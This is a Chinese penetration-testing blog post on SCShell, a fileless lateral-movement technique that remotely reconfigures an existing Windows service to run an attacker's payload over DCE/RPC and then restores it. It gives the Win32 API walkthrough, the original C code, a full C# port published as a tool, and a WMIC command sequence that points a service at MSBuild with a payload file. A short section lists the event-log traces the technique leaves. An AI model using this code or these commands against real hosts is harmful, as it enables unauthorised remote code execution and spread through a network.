【渗透技巧】SCshell 技术细节

估计最近一段时间不再更新 blog,要更新的话也是对之前的文章修修补补。

0x00 前言

SCShell 是一款无文件横向移动的工具,主要依赖于 ChangeServiceConfigA 函数,用于修改 Windows 服务的配置。该工具的优点在于它不会通过 SMB 协议去执行身份验证。该工具是通过 DCE/RPC 协议进行的。

因为是远程修改服务进行的,所以它不需要注册或创建服务。也不会删除远程系统上的任何文件。

与直接使用 sc.exe 的差别在于:如果当前进程无远程主机的权限,则需要使用 SMB 协议进行身份验证,后续步骤两者相同

0x01 函数 API 介绍

1.1、LogonUserA

该函数是使用用户和明文密码登陆到本地计算机,无法登陆远程计算机。如果函数成功,则会受到表示已登陆用户的令牌的句柄,然后可以使用此令牌句柄模拟指定用户。

1
2
3
4
5
6
7
8
BOOL LogonUserA(
LPCSTR lpszUsername,
LPCSTR lpszDomain,
LPCSTR lpszPassword,
DWORD dwLogonType,
DWORD dwLogonProvider,
PHANDLE phToken
);
  • lpszUsername:指向以空字符结尾的字符串的指针,该字符串指定用户的名称,也就是要登陆的用户账号。

  • lpszDomain:指向以空字符结尾的字符串的指针,该字符串指定该账户的域或服务器的名称。如果此参数为 NULL,则必须以 UPN 格式指定用户名。如果此参数为 “.”,则表示使用本地账户来验证。

  • lpszPassword:指向以空字符结尾的字符串的指针,该字符串指向 lpszUsername 中指定用户的明文密码。结束使用后,可调用 SecureZeroMemory) 函数以清除内存中的密码。

  • dwLogonType:要执行的登陆操作的类型,共计 7 个类型。此处使用 LOGON32_LOGON_NEW_CREDENTIALS,该登陆类型允许调用方克隆其当前令牌,并为出站连接指定新的凭据。新的登陆会话具有相同的本地标识符,但对其他网络连接使用不同的凭据。

  • dwLogonProvider:指定登陆提供程序,共计 3 个值。此处使用系统标准登陆提供程序:LOGON32_PROVIDER_DEFAULT

  • phToken:指向句柄变量的指针,该变量接收代码指定用户的令牌的句柄。

  • 返回值:非零值

1.2、ImpersonateLoggedOnUserA

LogonUserA 函数相呼应。

1
2
3
BOOL ImpersonateLoggedOnUser(
HANDLE hToken
);
  • hToken:代表已登陆用户的主或模拟 Access token 的句柄。
  • 返回值:非零值

1.3、OpenSCManagerA

建立到指定计算机上的服务控制管理器的连接,并打开指定的服务控制管理器数据库。

1
2
3
4
5
SC_HANDLE OpenSCManagerA(
LPCSTR lpMachineName,
LPCSTR lpDatabaseName,
DWORD dwDesiredAccess
);
  • lpMachineName: 目标计算机名称,如果指针为 NULL或指向空字符串,则该函数将连接本地计算机上的服务控制管理器。
  • lpDatabaseName:服务控制管理器数据库的名称。默认情况下此参数应设置为 SERVICES_ACTIVE_DATABASE
  • dwDesiredAccess:对服务控制管理器的访问。此处应为 SC_MANAGER_ALL_ACCESS,囊括了列表中的所有权限。有关访问权限列表可参阅【服务安全和访问权限
  • 返回值: 返回指定服务控制管理器数据库的句柄。

1.4、OpenServiceA

通过服务控制管理器打开现有服务。

1
2
3
4
5
SC_HANDLE OpenServiceA(
SC_HANDLE hSCManager,
LPCSTR lpServiceName,
DWORD dwDesiredAccess
);
  • hSCManager:服务控制管理器数据库的句柄。
  • lpServiceName:要打开的服务的名称。该参数是由 CreateService 函数的 lpServiceName 参数指定的名称,而不是用户界面应用程序显示的用于标识服务显示名称。
  • dwDesiredAccess:访问服务。此处应为 SERVICE_ALL_ACCESS,囊括了列表中的所有权限。有关访问权限列表可参阅【服务安全和访问权限
  • 返回值: 返回指定服务的句柄。

1.5、QueryServiceConfigA

检索指定服务的配置参数。

1
2
3
4
5
6
BOOL QueryServiceConfigA(
SC_HANDLE hService,
LPQUERY_SERVICE_CONFIGA lpServiceConfig,
DWORD cbBufSize,
LPDWORD pcbBytesNeeded
);
  • hService:指定服务的句柄。
  • lpServiceConfig:指向接收服务配置信息的缓冲区的指针。该数组的最大大小为 8KB。若要确定所需的大小,请设置为 NULL,而 cbBufSize 指定为 0。
  • cbBufSize:指向的缓冲区大小(以字节为单位)。
  • pcbBytesNeeded:如果函数失败并显示 ERROR_INSUFFICIENT_BUFFER,则该变量的指针将接收存储所有配置信息所需的字节数。
  • 返回值: 非零值。

1.6、ChangeServiceConfigA

更改指定服务的配置参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
BOOL ChangeServiceConfigA(
SC_HANDLE hService,
DWORD dwServiceType,
DWORD dwStartType,
DWORD dwErrorControl,
LPCSTR lpBinaryPathName,
LPCSTR lpLoadOrderGroup,
LPDWORD lpdwTagId,
LPCSTR lpDependencies,
LPCSTR lpServiceStartName,
LPCSTR lpPassword,
LPCSTR lpDisplayName
);
  • hService:指定服务的句柄。
  • dwServiceType:服务类型。如果不更改现有服务类型,则指定 SERVICE_NO_CHANGE
  • dwStartType:服务启动选项。如果不更改现有的启动类型,则指定 SERVICE_NO_CHANGE。因为要执行命令,所以使用 SERVICE_DEMAND_START,后续调用 StartService 函数时启动服务。
  • dwErrorControl:如果此服务无法启动,应该采取措施应对这个错误。此处应为 SERVICE_ERROR_IGNORE,忽略该错误并继续启动操作。
  • lpBinaryPathName:服务二进制文件的标准现有路径。如果不更改现有路径,请指定 NULL。如果路径包含空格,则必须使用引号括起来。该路径中还可包含二进制文件的参数。
  • lpLoadOrderGroup:该服务所属的负载排列组的名称。如果不更改现有组,请指定 NULL。
  • lpdwTagId:指向变量的指针,该变量接收在 lpLoadOrderGroup 参数指定的组中唯一的标记值。如果不更改现有标签,请指定 NULL。
  • lpDependencies:指向双 NULL 终止的数组,该数组以空分隔的服务或装入顺序组的名称分隔,系统必须在启动该服务之前才能启动这些名称。(对组的依赖性意味着,在尝试启动该组的所有成员之后,如果该组的至少一个成员正在运行,则该服务可以运行。)如果不更改现有的依赖性,则指定 NULL。
  • lpServiceStartName:服务将在其下运行的帐户的名称。如果不更改现有帐户名,则指定 NULL。
  • lpPassword:lpServiceStartName 参数指定的帐户名的密码。如果不更改现有密码,请指定 NULL。
  • lpDisplayName:用来为其用户标识服务的显示名称。如果不更改现有的显示名称,则指定 NULL。
  • 返回值: 非零值。

1.7、StartServiceA

启动指定服务。

1
2
3
4
5
BOOL StartServiceA(
SC_HANDLE hService,
DWORD dwNumServiceArgs,
LPCSTR *lpServiceArgVectors
);
  • hService:要启动的服务的句柄。由 OpenService 返回。
  • dwNumServiceArgs:lpServiceArgVectors 数组中的字符串数。如果 lpServiceArgVectors 为 NULL,则此参数可以为 0。
  • lpServiceArgVectors:以空值结尾的字符串将作为参数传递给服务的 ServiceMain 函数。如果没有参数,则此参数可以为 NULL。
  • 返回值: 非零值。

0x02 技术细节

2.1、时序图

这一整个过程与 PsExec 操作服务的步骤大部分相同,区别仅是因为 SCshell是更改配置,而 PsExec 是创建服务。以下内容是作者的代码实现(典型的 API 调用方式编程)。

2.2、登陆

使用 LogonUserA 登陆。后使用 ImpersonateLoggedOnUser

1
2
3
4
5
6
7
8
9
if(username != NULL) {
printf("Username was provided attempting to call LogonUserA\n");
bResult = LogonUserA(username, domain, password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken);
if(!bResult) {
printf("LogonUserA failed %ld\n", GetLastError());
ExitProcess(0);
}
bResult = FALSE;
bResult = ImpersonateLoggedOnUser(hToken);

2.3、Service Manager

一旦当前进程获取了正确的身份验证,即可使用 OpenSCManagerA 打开远程机器的服务控制管理器,并且获取其数据库的句柄。

1
2
3
4
5
6
SC_HANDLE schManager = OpenSCManagerA(targetHost, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if(schManager == NULL) {
printf("OpenSCManagerA failed %ld\n", GetLastError());
ExitProcess(0);
}
printf("SC_HANDLE Manager 0x%p\n", schManager);

与该数据库句柄进行交互即可。通过该数据库句柄,使用 OpenServiceA 打开需要的现有服务。比如作者在演示中使用的是 XblAuthManager 服务。后续使用中,为了更方便使用,可以选择一些较为通用的服务代替。

1
2
3
4
5
6
7
printf("Opening %s\n", serviceName);
SC_HANDLE schService = OpenServiceA(schManager, serviceName, SERVICE_ALL_ACCESS);
if(schService == NULL) {
printf("OpenServiceA failed %ld\n", GetLastError());
ExitProcess(0);
}
printf("SC_HANDLE Service 0x%p\n", schService);

之所以要查询服务的配置信息,是为了获取原始服务二进制的路径。

1
2
3
4
5
6
7
8
9
10
11
12
DWORD dwSize = 0;
QueryServiceConfigA(schService, NULL, 0, &dwSize);
if(dwSize) {
// This part is not critical error will not stop the program
dwLpqscSize = dwSize;
printf("LPQUERY_SERVICE_CONFIGA need 0x%08x bytes\n", dwLpqscSize);
lpqsc = GlobalAlloc(GPTR, dwSize);
bResult = FALSE;
bResult = QueryServiceConfigA(schService, lpqsc, dwLpqscSize, &dwSize);
originalBinaryPath = lpqsc->lpBinaryPathName;
printf("Original service binary path \"%s\"\n", originalBinaryPath);
}

使用 ChangeServiceConfigA 更改已打开的服务的配置。通常可以直接使用 C:\Windows\System32\cmd.exe args1 args2 这样的配置替换掉二进制文件路径中的内容。

1
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, NULL, NULL, NULL, NULL, NULL, NULL);

通过调用 StartService 函数时启动已更改配置的服务。

1
bResult = StartServiceA(schService, 0, NULL);

最后再次使用 ChangeServiceConfigA 还原服务的配置。

1
2
3
4
5
6
7
8
9
if(dwLpqscSize) {
bResult = FALSE;
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, originalBinaryPath, NULL, NULL, NULL, NULL, NULL, NULL);
if(!bResult) {
printf("ChangeServiceConfigA failed to revert the service path. %ld\n", GetLastError());
ExitProcess(0);
}
printf("Service path was restored to \"%s\"\n", originalBinaryPath);
}

整个过程还是比较简单的。

0x03 C# 实现

能在 MSDN 中找到的函数,在 pinvoke.net 中基本能找到对相应的例子,所以直接引用即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
static void Main(string[] args)
{
Console.WriteLine();
Console.WriteLine("=============== SharpSCShell --> Revised at Rcoil (C# version) =============== ");
Console.WriteLine();
if (args.Length < 2)
{
Console.WriteLine("SharpSCShell.exe target service payload domain username password");
Environment.Exit(0);
}

....

Console.WriteLine("[*] Trying to connect to {0}", target);
bool bResult = false;
if (username != null)
{
Console.WriteLine("[*] Username was provided attempting to call LogonUser");
bResult = LogonUser(username, domain, password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, ref phToken);
if (!bResult)
{
Console.WriteLine("[!] LogonUser failed. Error:{0}", GetLastError());
Environment.Exit(0);
}
}
bResult = ImpersonateLoggedOnUser(phToken);
if (!bResult)
{
Console.WriteLine("[!] ImpersonateLoggedOnUser failed. Error:{0}", GetLastError());
Environment.Exit(0);
}

IntPtr SCMHandle = OpenSCManager(target, null, (uint)SCM_ACCESS.SC_MANAGER_ALL_ACCESS);
if (SCMHandle == IntPtr.Zero)
{
Console.WriteLine("[!] OpenSCManagerA failed! Error:{0}", GetLastError());
Environment.Exit(0);
}
Console.WriteLine("[*] SC_HANDLE Manager 0x{0}", SCMHandle);

Console.WriteLine("[*] Opening {0} Service ....", ServiceName);
IntPtr schService = OpenService(SCMHandle, ServiceName, ((uint)SERVICE_ACCESS.SERVICE_ALL_ACCESS));
Console.WriteLine("[*] SC_HANDLE Service 0x{0}", schService);


QueryServiceConfigStruct qscs = new QueryServiceConfigStruct();
IntPtr qscPtr = Marshal.AllocCoTaskMem(0);
int retCode = QueryServiceConfig(schService, qscPtr, 0, ref bytesNeeded);
if (retCode == 0 && bytesNeeded == 0)
{
Console.WriteLine("[!] QueryServiceConfig failed to read the service path. Error:{0}", GetLastError());
}
else
{
Console.WriteLine("[*] LPQUERY_SERVICE_CONFIGA need {0} bytes", bytesNeeded);
qscPtr = Marshal.AllocCoTaskMem(bytesNeeded);
retCode = QueryServiceConfig(schService, qscPtr, bytesNeeded, ref bytesNeeded);
qscs.binaryPathName = IntPtr.Zero;

qscs = (QueryServiceConfigStruct)Marshal.PtrToStructure(qscPtr, new QueryServiceConfigStruct().GetType());
}

string originalBinaryPath = Marshal.PtrToStringAuto(qscs.binaryPathName);
Console.WriteLine("[*] Original service binary path \"{0}\"", originalBinaryPath);
Marshal.FreeCoTaskMem(qscPtr);

bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, null, null, null, null, null, null);
if (!bResult)
{
Console.WriteLine("[!] ChangeServiceConfigA failed to update the service path. Error:{0}", GetLastError());
Environment.Exit(0);
}
Console.WriteLine("[*] Service path was changed to \"{0}\"", payload);


bResult = StartService(schService, 0, null);
uint dwResult = GetLastError();
if (!bResult && dwResult != 1053)
{
Console.WriteLine("[!] StartServiceA failed to start the service. Error:{0}", GetLastError());
Environment.Exit(0);
}
else
{
Console.WriteLine("[*] Service was started");
}
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, originalBinaryPath, null, null, null, null, null, null);
if (!bResult)
{
Console.WriteLine("[!] ChangeServiceConfigA failed to revert the service path. Error:{0}", GetLastError());
Environment.Exit(0);
}
else
{
Console.WriteLine("[*] Service path was restored to \"{0}\"", originalBinaryPath);
}
}

运行结果:

运行流量:

可以较为明显的看到是 DCE/RPC 协议进行的,且整个过程的 API 调用看得清清楚楚。

项目源码已发布至 Github,请注意查收:SharpSCShell,并将此源码合并至作者的 SCShell

0x04 日志

使用用户凭证连接目标时,会留下正常的登陆日志,4624。同时如果服务超时,也会产生 7009 日志。当然,如果直接使用 ELK 监视事件 ID 4657,也是有惊喜的,而且很明显。

该工具经过测试,当防火墙打开时无法连接,且大部分命令无法执行,原因有待探究。

0x05 WMIC

WMICSCShell 有类似的功能。

步骤1: 获取目标服务的当前 pathName,以便我们在运行命令后就可以将其还原(在本例中为 XblAuthManager

1
wmic /user:DOMAIN\USERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' get pathName

步骤2:pathName 更改为要运行的任何命令

1
wmic /user:DOMAIN\USERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' call change PathName="C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe C:\testPayload.xml"

步骤3:启动修改后的服务

1
wmic /user:DOMAIN\USERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' call startservice

步骤4:将服务 pathName 更改回其原始值

1
wmic /user:DOMAIN\USERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' call change PathName="C:\Windows\system32\svchost.exe -k netsvcs"

这一部分本来打算另起一文,在写 WMI 放入,但想想之后的文章还是留在知识星球进行自我沉淀。

RcoIl Alipay
!坚持技术分享,您的支持将鼓励我继续创作!